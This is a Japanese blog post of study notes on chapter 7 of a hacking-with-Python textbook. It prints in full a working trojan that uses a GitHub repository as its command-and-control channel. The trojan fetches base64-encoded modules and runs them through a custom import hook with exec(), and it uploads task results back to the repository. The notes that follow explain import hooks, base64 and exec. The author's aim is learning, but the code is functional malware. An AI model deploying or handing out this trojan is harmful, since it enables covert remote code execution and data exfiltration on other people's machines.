サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 7章 勉強まとめ
6は飛ばして、7章からです。
# -*- coding: utf-8 -*- import json import base64 import sys import time import types import random import threading import queue import os from github3 import login trojan_id = "abc" trojan_config = "{}.json".format(trojan_id) trojan_path = "data/{}/".format(trojan_id) trojan_modules = [] configured = False task_queue = queue.Queue() class GitImporter(): def __init__(self): self.current_module_code = " " def find_module(self, fullname, path=None): global configured if configured: print("[*] Attempting to retrieve {}".format(fullname)) new_library = get_file_contents("modules/{}".format(fullname)) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self, name): module = types.ModuleType(name) exec(self.current_module_code, module.__dict__) sys.modules[name] = module return module def connect_to_github(): gh = login('username', 'password') repo = gh.repository('username', 'BHPchapter7') #branch = repo.branch("master") branch = 0 return gh, repo, branch def get_file_contents(filepath): gh, repo, branch = connect_to_github() #新しいコミットだけ取り出す commit = repo.commits().next() tree = repo.tree(commit.sha).recurse() for filename in tree.tree: if filepath in filename.path: print("[*] Found file {}".format(filepath)) blob = repo.blob(filename._json_data['sha']) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json).decode()) configured = True for task in config: if task['module'] not in sys.modules: exec("import {}".format(task['module'])) return config def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "data/{0}/{1}.data".format(trojan_id, random.randint(1000, 100000)) repo.create_file(remote_path, "Commit message", base64.b64encode(data)) return def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() #レポジトリに結果を保存する store_module_result(result.encode()) return #トロイの木馬のメインループ sys.meta_path.insert(0, GitImporter()) while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner, args=(task['module'],)) t.start() time.sleep(random.randint(1, 10)) time.sleep(random.randint(1000, 10000))
from github3 import login
本ではこちら
GitHub - copitux/python-github3: Python wrapper for GitHub API v3
が紹介されていましたが、自分の環境では使えませんでした。
調べてみると、github api はいくつかあるみたいです。Libraries | GitHub Developer Guide
今回はこちら
GitHub - sigmavirus24/github3.py: Python library for interfacing with the GitHub APIv3
を使用しました。どれを使うのがメジャーなんだろうか。
github3.py関連で参考にしたページ
class GitImporter()
sys.meta_path.insert(0, GitImporter())
インポートしたいライブラリがローカル環境にない場合(sys.modules に指定されたモジュールが見つからなかったということ)、Python のインポートプロトコルが起動され、モジュールを見つけロードする……らしい。このインポート機構は拡張可能で、今回は独自クラスを作って拡張した。
このインポート機能の仕組みは、インポートフックと呼ばれていて、メタフックとインポートパスフックの2種類があるらしい(今回はメタフック)。
詳しい説明は、
http://t2y.hatenablog.jp/entry/2015/03/11/025123(インポートフックの項目)
http://docs.python.jp/3/reference/import.html#the-meta-path
あたりを読んで納得しました。
ただ、今回扱った「find_module」と「load_module」という書き方はpython3.4以降では推奨されていないみたいです。
とりあえず、このあたりは今後の課題としておきます。
http://docs.python.jp/3/library/importlib.html#module-importlib
http://docs.python.jp/3/library/sys.html#sys.meta_path
http://docs.python.jp/3/reference/import.html#the-import-system
base64.b64decode()
base64.b64encode()
これは、githubとの通信のためにデコード、エンコードしている。
base64に関してはこちら
base64ってなんぞ??理解のために実装してみた - Qiita
が分かりやすかった。
types.ModuleType(name)
nameという空のモジュールを作る。
サンプルコードは、impを用いていたんですが、これはpython3.4以降は撤廃されているみたいです。 36.2. imp — import 内部へのアクセス — Python 3.5.1 ドキュメント
exec(self.current_module_code, module.dict)
exec関数は、第1引数をPython 文として解析して実行する。第2引数で名前空間を指定することによって、引数の文字列が実行される際の個別の環境を指定することができる(デフォルトは現在のスコープ内)。
ここでは、新しく作ったモジュールの中で、githubから受け取ったコードを実行している。
http://docs.python.jp/3/library/functions.html#exec